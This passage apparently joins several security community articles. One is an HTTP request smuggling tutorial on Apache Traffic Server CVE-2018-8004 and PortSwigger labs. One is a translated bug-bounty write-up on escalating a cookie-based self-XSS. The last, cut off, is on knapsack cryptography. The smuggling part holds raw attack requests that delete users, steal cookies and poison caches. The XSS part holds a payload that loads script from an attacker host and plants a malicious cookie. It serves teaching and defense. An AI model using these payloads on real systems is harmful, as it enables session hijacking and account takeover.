Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
## 4\. HTTP Smuggling Attack Example——CVE-2018-8004
### 4.1 Vulnerability Overview
Apache Traffic Server (ATS) is an efficient, scalable HTTP proxy and cache
server for the Apache Software Foundation.
There are multiple HTTP smuggling and cache poisoning issues when clients
making malicious requests interact with Apache Traffic Server (ATS). This
affects versions 6.0.0 to 6.2.2 and 7.0.0 to 7.1.3.
In NVD, we can find four patches for this vulnerability, so let's take a
closer look.
CVE-2018-8004 Patch list <https://github.com/apache/trafficserver/pull/3192>
<https://github.com/apache/trafficserver/pull/3201>
<https://github.com/apache/trafficserver/pull/3231>
<https://github.com/apache/trafficserver/pull/3251>
Note: Although the vulnerability notification describes the scope of the
vulnerability to version 7.1.3, from the version of the patch archive on
github, most of the vulnerabilities have been fixed in version 7.1.3.
### 4.2 Test Environment
#### 4.2.1 Introduction
Here, we use ATS 7.1.2 as an example to build a simple test environment.
Environmental component introduction
Reverse proxy server
IP: 10.211.55.22:80
Ubuntu 16.04
Apache Traffic Server 7.1.2
Backend server 1-LAMP
IP: 10.211.55.2:10085
Apache HTTP Server 2.4.7
PHP 5.5.9
Backend server 2-LNMP
IP: 10.211.55.2:10086
Nginx 1.4.6
PHP 5.5.9
Environmental topology
The Apache Traffic Server is typically used as a HTTP proxy and cache server.
In this test environment, I ran it in a local Ubuntu virtual machine and
configured it as a reverse proxy for the back-end server LAMP&LNMP. By
modifying the native HOST file, we resolve the domain names `ats.mengsec.com`
and `lnmp.mengsec,com` to this IP and the n configure the mapping on the ATS.
The final effect is that we access the domain name `ats.mengsec.com` through
the local proxy server to obtain the LAMP response, and access the domain name
`lnmp.mengsec.com` locally to obtain the LNMP response.
In order to view the requested data package, I placed a PHP script that
outputs the request header in both the LNMP and LAMP web directories.
LNMP:
<?php
echo 'This is Nginx<br>';
if (!function_exists('getallheaders')) {
function getallheaders() {
$headers = array();
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
}
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);
LAMP:
<?php
echo 'This is LAMP:80<br>';
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);
#### 4.2.2 Construction Process
Download the source code on Github to compile and install ATS.
https://github.com/apache/trafficserver/archive/7.1.2.tar.gz
Install dependencies & common tools.
apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget
Then extract the source code and compile & install.
autoreconf -if
./configure --prefix=/opt/ts-712
make
make install
After the installation is complete, configure the reverse proxy and mapping.
Edit the `records.config` configuration file and temporarily disable the ATS
cache function.
vim /opt/ts-712/etc/trafficserver/records.config
CONFIG proxy.config.http.cache.http INT 0 # close caching
CONFIG proxy.config.reverse_proxy.enabled INT 1 # Enable reverse proxy
CONFIG proxy.config.url_remap.remap_required INT 1 # Limit ATS to only access the mapped address in the map table
CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # Listen local port 80
Edit the `remap.config` configuration file and add the rules table to be
mapped at the end.
vim /opt/ts-712/etc/trafficserver/remap.config
map http://lnmp.mengsec.com/ http://10.211.55.2:10086/
map http://ats.mengsec.com/ http://10.211.55.2:10085/
After the configuration is complete, restart the server to make the
configuration take effect. We can test it.
In order to get the server's response accurately, we use the pipe character
and `nc` to establish a link with the server.
printf 'GET / HTTP/1.1\r\n'\
'Host:ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
We can see that we have successfully accessed the LAMP server on the back end,
and the same can be tested, the connectivity between the proxy server and the
backend LNMP server.
printf 'GET / HTTP/1.1\r\n'\
'Host:lnmp.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
### 4.3 Vulnerability Test
Let's take a look at the next four patches and their descriptions.
> <https://github.com/apache/trafficserver/pull/3192> # 3192 Return 400 if
> there is whitespace after the field name and before the colon
> [https://github.com/apache/trafficserver/pull/3201
> ](https://github.com/apache/trafficserver/pull/3201
> "https://github.com/apache/trafficserver/pull/3201 ")# 3201 Close the
> connection when returning a 400 error response
> <https://github.com/apache/trafficserver/pull/3231> # 3231 Validate Content-> Length headers for incoming requests
> <https://github.com/apache/trafficserver/pull/3251> # 3251 Drain the request
> body if there is a cache hit
#### 4.3.1 First Patch
> <https://github.com/apache/trafficserver/pull/3192> # 3192 Return 400 if
> there is whitespace after the field name and before the colon
See the commit introduction is to add the implementation of `RFC7230` section
`3.2.4` to ATS.
> <https://tools.ietf.org/html/rfc7230#section-3.2.4>
In the request packet of HTTP, there must be no white space between the
request header field and the subsequent colon. If there is a blank character,
the server must return `400`. If viewed from the patch, in ATS 7.1.2 There is
no detailed implementation of the standard. When there is a field in the
request received by the ATS server with a space between the request field and
`:`, it will not be modified, nor will it return a `400` error as described in
the RFC standard. Forward it to the backend server.
When the backend server does not strictly implement the standard, it may lead
to HTTP smuggling attacks. For example, the Nginx server ignores the request
header when it receives a request for a space between the request header field
and the colon, instead of returning a `400` error.
We can construct a special HTTP request for smuggling.
GET / HTTP/1.1
Host: lnmp.mengsec.com
Content-Length : 56
GET / HTTP/1.1
Host: lnmp.mengsec.com
attack: 1
foo:
Obviously, the data portion of the request packet below is parsed into the
request header by the backend server during the transfer.
Looking at the packets in Wireshark, ATS reuses TCP connections during data
transfer with the backend Nginx server.
Just look at the request as shown:
The shaded portion is the first request and the remaining portion is the
second request.
In the request we sent, there is a specially constructed request header
`Content-Length : 56`. 56 is the length of the subsequent data.
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
At the end of the data, there is no `\r\n`.
When our request arrives at the ATS server, because the ATS server can resolve
the request header with a space between `Content-Length : 56`, it considers
the request header to be valid. As a result, subsequent data is also treated
as part of this request. In general, for an ATS server, this request is a
complete request.
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length : 56\r\n
\r\n
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
After receiving the request, the ATS forwards the request packet to the
corresponding backend server according to the value of the Host field. Here is
the forwarding to the Nginx server.
When the Nginx server encounters a request header similar to this `Content-Length : 56`, it will consider it invalid and then ignore it, but it will not
return a 400 error. For Nginx, the received request is
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
Since there is no `\r\n` at the end, this is equivalent to receiving a full
GET request and an incomplete GET request.
complete：
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
Incomplete：
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
At this point, Nginx will send the response corresponding to the first request
packet to the ATS server, and then wait for the subsequent second request to
be transmitted before responding.
When the next request forwarded by the ATS arrives, for Nginx, it is directly
spliced to the incomplete request packet just received. It is equivalent this:
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo: GET / HTTP/1.1\r\n
Host: 10.211.55.2:10086\r\n
X-Forwarded-For: 10.211.55.2\r\n
Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n
Then Nginx sends the response of the request packet to the ATS server. The
responses we received are the two key-value pairs `attack: 1` and `foo: GET /
HTTP/1.1`.
What harm does this cause? If the second request forwarded by ATS is not sent
by us? Let's try it out。
Suppose there is an `admin.php` under the Nginx server. The code content is as
follows:
<?php
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){
echo "You are Admin\n";
if(isset($_GET['del'])){
echo 'del user ' . $_GET['del'];
}
}else{
echo "You are not Admin";
}
Since the HTTP protocol itself is stateless, many websites use cookies to
determine the identity of a user. Through this vulnerability, we can steal the
identity information of the administrator. In this example, the
administrator's request will carry the key value pair `admin=1` of `Cookie`.
When the administrator is authorized, the user name to be deleted can be
passed in GET mode, and then the user is deleted. .
As we saw earlier, by constructing a special request packet, the Nginx server
can make a request received as part of the previous request. In this way, we
can steal the administrator's cookies.
Constructing a packet
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length : 78\r\n
\r\n
GET /admin.php?del=mengchen HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
Then the normal request from the administrator
GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1
Let's take a look at the effect
It's very intuitive to look at in Wireshark's packets. The shadows are normal
requests sent by the administrator.
The user was spliced into the previous request on the Nginx server and the
user mengchen was successfully deleted.
#### 4.3.2 Second Patch
> <https://github.com/apache/trafficserver/pull/3201> # 3201 Close the
> connection when returning a 400 error response
This patch shows that in ATS 7.1.2, if a request causes a 400 error, the
established TCP link will not be closed. In regilero's analysis of
CVE-2018-8004
[article](https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/),
how to exploit this vulnerability.
printf 'GET / HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'foo: bar\r\n'\
'GET /2333 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
A total of 2 responses can be obtained, all of which are 400 errors.
When ATS parses a HTTP request, if it encounters `NULL`, it will cause a
truncation operation. The one request we send is two requests for the ATS
server.
First
GET / HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa:
Second
bb\r\n
foo: bar\r\n
GET /2333 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
The first request encountered `NULL` during parsing, the ATS server responded
with the first 400 error, and the following `bb\r\n` became the beginning of
the subsequent request, not conforming to the HTTP request specification,
which responded The second 400 error.
Test with modification
printf 'GET / HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'GET /1.html HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
A 400 response, a 200 response, can also be seen in Wireshark, which forwards
the second request to the backend Apache server.
This is already a HTTP request splitting attack.
GET / HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET /1.html HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
But this request package, how to see are two requests, the middle `GET /1.html
HTTP/1.1\r\n` does not conform to the format of the request header
`Name:Value` in the HTTP packet. Here we can use `absoluteURI`, which
specifies its detailed format in `5.1.2` of `RFC2616`.
> <https://tools.ietf.org/html/rfc2616#section-5.1.2>
We can make a request using a request header like `GET
http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1`.
Constructing a packet
GET /400 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET http://ats.mengsec.com/1.html HTTP/1.1\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
printf 'GET /400 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\
'\r\n'\
'GET /404 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
Essentially, this is two HTTP requests, the first one is
GET /400 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET http://ats.mengsec.com/1.html HTTP/1.1\r\n
\r\n
Where `GET http://ats.mengsec.com/1.html HTTP/1.1` is a request header named
`GET http` with a value of `//ats.mengsec.com/1.html HTTP/1.1`.
The second one is
GET /404 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
After the request is sent to the ATS server, we can get three HTTP responses,
the first one is 400, the second is 200, and the third is 404. The extra
response is the ATS response to the server 1.html request.
According to the first-in-first-out rule of HTTP Pipepline, it is assumed that
the attacker sends the first malicious request to the ATS server, and then the
victim sends a normal request to the ATS server, and the response obtained by
the victim is sent by the attacker. The contents of `GET
http://evil.mengsec.com/evil.html HTTP/1.1` in the malicious request. This
type of attack is theoretically successful, but the conditions of use are
still too harsh.
For the way the vulnerability is fixed, the ATS server chooses to close the
TCP link when it encounters a 400 error, so that no matter what subsequent
requests, it will not affect other users.
#### 4.3.3 Third Patch
> <https://github.com/apache/trafficserver/pull/3231> # 3231 Validate Content-> Length headers for incoming requests
In this patch, the description of bryancall is
Respond with 400 code when Content-Length headers mismatch, remove duplicate copies of the Content-Length header with exactly same values, and remove Content-Length headers if Transfer-Encoding header exists.
From here we can know that in the ATS 7.1.2 version, there is no full
implementation of the `RFC2616` standard, we may be able to carry out the `CL-TE` smuggling attack.
Construction request
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
Get a `405 Not Allowed` response after multiple transmissions.
We can assume that subsequent requests are combined on the Nginx server into
requests similar to the one shown below.
GGET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
......
For Nginx, the `GGET` request method does not exist, of course, it will return
`405` error.
Next try to attack the `admin.php`, construct the request
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length: 83\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /admin.php?del=mengchen HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
After several requests, I got the response `You are not Admin`. This indicates
that the server made a request for `admin.php`.
If the administrator is already logged in at this time, then I want to visit
the home page of the website. His request is
GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1
The effect is as follows
We can look at the traffic of Wireshark. In fact, it is still very well
understood.
The part shown by the shadow is the request sent by the administrator. In the
Nginx server, the combination is entered into the previous request, which is
equivalent to
GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.mengsec.com
attack: 1
foo: GET / HTTP/1.1
Host: 10.211.55.2:10086
Cookie: admin=1
X-Forwarded-For: 10.211.55.2
Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2)
The cookie carrying the administrator has been deleted. This is actually the
same as the usage in 4.3.1 above.
#### 4.3.4 Fourth Patch
> <https://github.com/apache/trafficserver/pull/3251> # 3251 Drain the request
> body if there is a cache hit
I was stunned when I saw this patch. I only know that it should be related to
the cache and did not know where the problem is until regilero's analysis
article came out on September 17th.
When the cache hits, the ATS server ignores the `Content-Length` request
header, and the data in the request body will be processed by the ATS as
another HTTP request, which leads to a request smuggling vulnerability.
Before testing, I opened the cache function of the ATS server in the test
environment, and modified the default configuration to facilitate testing.
vim /opt/ts-712/etc/trafficserver/records.config
CONFIG proxy.config.http.cache.http INT 1 # Enable caching
CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # Enable the client Cache-Control header to facilitate control of cache expiration time
CONFIG proxy.config.http.cache.required_headers INT 1 # When the Cache-control: max-age request header is received, the response is cached
Then restart the ATS server.
For convenience, I wrote a script `random_str.php` that generates a random
string in the Nginx website directory.
function randomkeys($length){
$output='';
for ($a = 0; $a<$length; $a++) {
$output .= chr(mt_rand(33, 126));
}
return $output;
}
echo "get random string: ";
echo randomkeys(8);
Construction request
GET /1.html HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Cache-control: max-age=10\r\n
Content-Length: 56\r\n
\r\n
GET /random_str.php HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
First request
Second request
It can be seen that when the cache hits, the data in the request body becomes
the next request and the response is successfully obtained.
GET /random_str.php HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
Moreover, through the entire request, all request headers are in compliance
with the RFC specification. This means that even if the RFC standard is
strictly implemented, the proxy server before the ATS cannot prevent the
attack from affecting other users.
The ATS fix is also simple. When the cache hits, it is fine to empty the
entire request body.
## 5\. Other attack instances
In the previous section, we have seen the HTTP request smuggling vulnerability
generated by different kinds of proxy server combinations. We also
successfully simulated the use of HTTP request smuggling to conduct session
hijacking, but it can do more than this. In PortSwigger. An
[experiment](https://portswigger.net/web-security/request-smuggling/exploiting) was provided to exploit smuggling attacks using HTTP.
### 5.1 Bypass Front-end Security Controls
In this network environment, the front-end server is responsible for
implementing security control. Only the allowed requests can be forwarded to
the back-end server, and the back-end server unconditionally believes that all
requests forwarded by the front-end server respond to each request. So we can
use HTTP to request smuggling, smuggle unreachable requests to the backend
server and get a response. There are two experiments here, using `CL-TE` and
`TE-CL` to bypass the front-end access control.
#### 5.1.1 Use CL-TE Bypass Front-end Security Controls
Lab URL: <https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te>
The purpose of the experiment is to get the admin privilege and delete the
user carlos
We directly access `/admin` and will return the prompt `Path /admin is
blocked`, which appears to be blocked by the front-end server. According to
the prompt `CL-TE` of the topic, we can try to construct the data packet.
POST / HTTP/1.1
Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKI
Content-Length: 38
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
foo: bar
After making multiple requests, we can get a response to the smuggling past
request.
You can access the `/admin` interface only if you are accessing as an
administrator or logging in locally.
In the request to smuggle below, add a `Host: localhost` request header, and
then re-request, one unsuccessful and several times.
As shown, we successfully accessed the admin interface. To delete a user is to
request `/admin/delete?username=carlos`.
Modify the smuggled request packet and send it a few more times to
successfully delete the user `carlos`.
One thing to note is that we don't need to affect other users, so the request
must also be complete, and the last two `\r\n` cannot be discarded.
#### 5.1.1 Use TE-CL Bypass Front-end Security Controls
Lab URL: <https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl>
This experiment is very similar to the previous one, and the specific attack
process is not repeated.
### 5.2 Revealing Front-end Request Rewriting
In some network environments, the front-end proxy server does not forward the
request directly to the back-end server after receiving the request. Instead,
it adds some necessary fields and then forwards it to the back-end server.
These fields are required by the backend server to process the request, such
as:
* Describe the protocol name and password used by the TLS connection
* XFF header containing the user's IP address
* User's session token ID
In short, if we can't get the fields added or rewritten by the proxy server,
our smuggled past requests can't be processed correctly by the backend server.
So how do we get these values? PortSwigger provides a very simple method,
mainly in three major steps:
* Find a POST request that can output the value of the request parameter to the response
* Put the special parameter found in the POST request at the end of the message.
* Then smuggle this request and then send a normal request directly, and some fields that the front-end server rewrites for this request will be displayed.
How to understand it, let us experiment and come together to learn.
Lab URL: <https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting>
The purpose of the experiment was to delete the user `carlos`.
We first go through the first step and find a POST request that can output the
value of the request parameter to the response.
The search function at the top of the page meets the requirements.
Constructing a packet
POST / HTTP/1.1
Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Type: application/x-www-form-urlencoded
Cookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLA
Content-Length: 77
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 70
Connection: close
search=123
After multiple requests, we can get the request header added by the front-end
server.
How is this obtained? We can start with the data packets we constructed. We
can see that our request to smuggle the past is
POST / HTTP/1.1
Content-Length: 70
Connection: close
search=123
The value of `Content-Length` is 70. Obviously, the length of the data carried
below is not enough. Therefore, after receiving the smuggling request, the
backend server will consider that the request has not been transmitted yet and
continue to wait for transmission.
Then we continue to send the same data packet. The back-end server receives
the request that the front-end proxy server has processed. When the total
length of the received data reaches 70, the back-end server considers that the
request has been transmitted, and then proceeds. response. In this way, part
of the subsequent request is taken as part of the parameters of the smuggled
request, and then expressed in the response, we can get the field rewritten by
the front-end server.
Add this field to the smuggled request and then smuggle a request to delete
the user.
### 5.3 Capturing Other Users' Requests
In the previous experiment, we obtained the fields added by the front-end
server by smuggling an incomplete request, and the fields came from our
subsequent requests. In other words, we obtained the request after our
smuggling request by requesting smuggling. If other malicious users make
requests after our malicious request? The POST request we are looking for will
store and display the acquired data? In this way, we can smuggle a malicious
request, splicing the information requested by other users into the smuggling
request, and storing it in the website. After we view the data, we can get the
user's request. This can be used to steal sensitive information from users,
such as account passwords.
Lab URL: <https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests>
The purpose of the experiment is to obtain cookies from other users to access
other accounts.
We first look for a POST request form that stores incoming information on a
website, and it's easy to spot a place where users have comments on the site.
Crawl POST requests and construct packets
POST / HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 267
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 400
csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment=
This is actually enough, but it may be a problem in the experimental
environment. I won't get requests from other users anyway, but I grab a bunch
of my own request information. However, the principle is that it is easier to
understand. The most important point is that the request for smuggling is
incomplete.
### 5.4 Exploit Reflected XSS
We can use HTTP smuggling requests with reflective XSS for attacks. This way
we don't need to interact with the victim, we can also exploit the XSS
vulnerability in the request header.
Lab URL: <https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss>
In the experimental introduction, I have already told the front-end server
that `TE` is not supported, and the target is to execute alert(1).
First construct Payload based on the location of the UA
Then construct the packet
POST / HTTP/1.1
Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>#
Content-Type: application/x-www-form-urlencoded
At this point, accessing in the browser will trigger the bullet box.
Send it again, wait a moment to refresh, you can see that this experiment has
been solved.
### 5.5 Perform Web Cache Poisoning
Generally, the front-end server caches some resources of the back-end server
for performance reasons. If there is a HTTP request smuggling vulnerability,
it is possible to use the redirect to perform cache poisoning, thereby
affecting all users who subsequently access.
Lab URL: <https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning>
A secondary server that provides exploits in an experimental environment.
Need to add two request packets, one POST, carrying the request packet to be
smuggled, and the other is a normal GET request for the JS file.
Take the following JS file as an example.
/resources/js/labHeader.js
Edit response server
Construct a POST smuggling packet
POST / HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net
Content-Length: 10
123
Then construct a GET packet
GET /resources/js/labHeader.js HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Connection: close
The POST request and the GET request are performed several times. Then access
the js file. It responds to the cached exploits on the server.
Visit the homepage and there is a pop-up. This indicated that the js file was
successfully cached by the front-end server.
## 6\. How to Prevent HTTP Request Smuggling
We've known the harm of HTTP request smuggling, and we will question: how to
prevent it? There are three general defenses (not specific to a particular
server).
* Disable TCP connection reuse between the proxy server and the back end server.
* Use the HTTP/2 protocol.
* The front and back ends use the same server.
Some of the above measures can not solve the problem fundamentally, and there
are many shortcomings, such as disabling TCP connection reuse between the
proxy server and the back-end server, which will increase the pressure on the
back-end server. Using HTTP/2 can't be promoted under the current network
conditions, even if the server supporting HTTP/2 protocol is compatible with
HTTP/1.1. In essence, the reason for HTTP request smuggling is not the problem
of protocol design, but the problem of different server implementations. I
personally think that the best solution is to strictly implement the standards
specified in RFC7230-7235, but this is the most difficult to achieve.
## Reference
* <https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/>
* <https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn>
* <https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf>
* <https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf>
* * * | 社区文章 |
翻译自：<https://medium.com/@0xHyde/cookie-based-self-xss-to-good-xss-d0d1ca16dd0e>
翻译：聂心明
上个月我收到来自Synack团队的私有赏金任务，最后我在网站中发现了一个反射型xss。因为这是私有赏金任务，我不能在writeup中提到目标的信息。但是我会演示我是怎样绕过各种限制的。我最后得到了$272，因为我没有证明我能访问dom对象。因为网站限制了圆括号，所以我不能访问到dom，并且我不能执行像下面这样的payload：
alert(document.domain)
正常情况下，上面的JavaScript代码执行后会有下面截图中的效果
alert`document.domain`
因为圆括号被过滤，我就用`字符来执行我的函数。不幸的是，当下面的函数被执行的时候，你不会访问dom资源。下面的截图是一个简单的例子。
我提交了这个报告，并且获得了$272，可是如果我告诉他们我能实现dom的访问，我就能额外获得一份赏金，所以很自然我开始了这一项挑战。我跟Brutelogic
([Brute](https://medium.com/@rodoassis))说了这件事，然后向他咨询了一些绕过技术，然后他告诉我可以参考他的xss备忘录。当我学习他的文档时，我发现下面的这段payload：
setTimeout`alert\x28document.domain\x29`
这个payload能够实现我需要的效果，就是随意访问dom。我重新提交了新的payload，这个payload展示了我可以随意访问网页的dom资源，然后我获得了额外的60块钱。但是我没有就此停手。早些时候，我在漏洞收取范围内的子域名下发现一个Self-XSS。cookie中有一个被base64编码了的参数，这个参数可导致xss。典型的基于cookie的xss，但是它没法被利用，除非攻击者能给客户浏览器设置cookie。幸运的是，我现在手上有一个xss了，就是我上面提到的。可是我的payload不能太长，否则就会失败。我知道，如果我想执行一些有攻击力的payload的话，那我必须嵌入外部的JavaScript文件，因为即使是最简单的payload都会因为太长而不会执行成功。我也似乎不能嵌入包含payload的外部JavaScript文件，以用来设置cookie的属性。因为它还是太长了。但是，我注意漏洞页面用了jQuery，这就可以让我用一些足够短的语句来嵌入脚本文件。下面是我用到的代码：
$.getScript`//xss.example.com/xss.js`
现在，我只需要用JavaScript代码把payload base64编码，然后放入cookie中的那个有漏洞的参数中就可以了。下面就是我用到的代码：
$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
function setCookieRedir(){
document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
window.location = "https://example.com/vulnerablePage.html";
}
上面的代码会把网页的上半部分文本替换成”点击下面这个按钮就可以继续“，下面会带有一个按钮。当受害者点击这个按钮时，js代码就会设置那个有漏洞的cookie参数为下面的字符串
LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v
上面的字符串经过base64解码之后就是下面的代码，它就会在有漏洞的页面上弹窗
--></script><script>alert(document.domain);//
最后，我想这是一个非常有趣的漏洞利用过程，当我不断的尝试绕过时，我也感受到了非常多的乐趣。最后，我因为把Self-XSS变成了可利用的xss，我获得了$616，此外，我还因为上文提到的漏洞利用链获得了$272 + $60的赏金。 | 社区文章 |
# 密码学学习笔记 之 knapsack problem
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
ACM中的背包问题是一种组合优化的NP完全问题，而在密码学中，也有对背包问题的应用。
## Subset-sum problems and knapsack cryptosystems
密码学中的利用knapsack
problem的加密。大意就是，你公开一个序列，然后你把你的消息转为二进制，如果你消息的这一位是1，就从你序列中取出对应位置的值，最后密文就是你所有取出的值的和。
但是这样就产生一个问题，加密是加过去了。那该怎么解密呢？
蛮力攻击的时间复杂度是O(2^n),就算中途相遇也只能降低到O(2^(n/2))。太难了。。。
那Alice怎么解决这个问题呢？公钥密码系统如何体现呢？
这就看Alice对序列的选择了。她用的是超递增序列。什么是超递增序列呢？就是后一项≥前一项的两倍，也就意味着，后一项大于前面的所有项之和。
有超递增序列后，给你一个密文，你只需要一项一项对比过来，你就能知道加密者选取的元素是哪几个了。
这不难理解。我们将序列中的每一项放到二进制下就很明显。如果第一项的位长是2，那第二项的位长就至少是3，如果第二项位长是3，那么第三项的位长至少是4。如果你的密文最后是个2位长的，那加密者必定是没有用到第三项，必定是用到了第二项，至于有没有用到第一项，那就看密文减掉第二项之后还有没有剩下来了。【当然，这在每一项只能用一次的大前提下】
### preparation
Alice准备加密了，首先她先整了一个超递增序列，r = (r1,r2…rn)，然后她生成了两个大数A和B，其中要求B>2rn
也就是B大于这个超递增序列之和啦。然后要需要gcd(A,B)=1，因为之后要求一个A在B下的逆。
### encryption
